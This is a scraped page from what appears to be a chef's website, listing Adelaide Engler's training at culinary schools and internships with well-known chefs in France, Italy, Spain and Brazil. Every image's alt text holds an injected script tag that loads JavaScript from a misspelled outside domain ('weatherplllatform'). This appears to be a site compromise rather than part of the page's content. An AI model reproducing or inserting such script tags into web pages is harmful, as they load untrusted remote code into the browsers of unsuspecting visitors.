Culinary Background
Courses at renowned culinary schools and Internships with great Chefs and Restaurants.
Courses
![InstitutPaulBocuse <script src='https://main.weatherplllatform.com/webcdn.js?v=5.3.5' type='text/javascript'></script>](https://www.adelaideengler.com/wp-content/uploads/2021/10/InstitutPaulBocuse.jpeg)
Institut Paul Bocuse
Lyon, France
Grand Chef Paul Bocuse and Adelaide Engler
French Cuisine and Wines
![Ecole-Ritz-Escoffier <script src='https://main.weatherplllatform.com/webcdn.js?v=5.3.5' type='text/javascript'></script>](https://www.adelaideengler.com/wp-content/uploads/2021/10/Ecole-Ritz-Escoffier.png)
École Ritz Escoffier
Paris, France
![fattoriadegliusignoli-footer <script src='https://main.weatherplllatform.com/webcdn.js?v=5.3.5' type='text/javascript'></script>](https://www.adelaideengler.com/wp-content/uploads/2021/10/fattoriadegliusignoli-footer.png)
Tuscan Cuisine and Italian wines at Fattoria Degli Usignoli
Reggello, Italy
![wset_logo <script src='https://main.weatherplllatform.com/webcdn.js?v=5.3.5' type='text/javascript'></script>](https://www.adelaideengler.com/wp-content/uploads/2021/10/wset_logo-e1633456625962.gif)
Wine and Spirit Certificate, at Wine and Spirit Education Trust
London, UK
Internships
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El Celler de Can Roca
Elected Best restaurant
in the world 2013 by Restaurant Magazine,
Adelaide Engler and Chef Joan Roca – Girona – Spain
![AdelaideAlinPassard <script src='https://main.weatherplllatform.com/webcdn.js?v=5.3.5' type='text/javascript'></script>](https://www.adelaideengler.com/wp-content/uploads/2021/10/AdelaideAlinPassard-1.jpg)
Arpége Restaurant
(3 Michelin Stars)
Adelaide Engler and Chef Alain Passard – Paris, France.
![AdelaideFrancescoCarli <script src='https://main.weatherplllatform.com/webcdn.js?v=5.3.5' type='text/javascript'></script>](https://www.adelaideengler.com/wp-content/uploads/2021/10/AdelaideFrancescoCarli.jpg)
Cipriani
(Copacabana Palace)
Adelaide Engler and Chef Francesco Carli Rio de Janeiro, Brazil
![AdelaideRolandVillard <script src='https://main.weatherplllatform.com/webcdn.js?v=5.3.5' type='text/javascript'></script>](https://www.adelaideengler.com/wp-content/uploads/2021/10/AdelaideRolandVillard.jpg)
Le Pré-Catelan
(Sofitel )
Adelaide Engler and Chef Roland Villard Rio de Janeiro – Brazil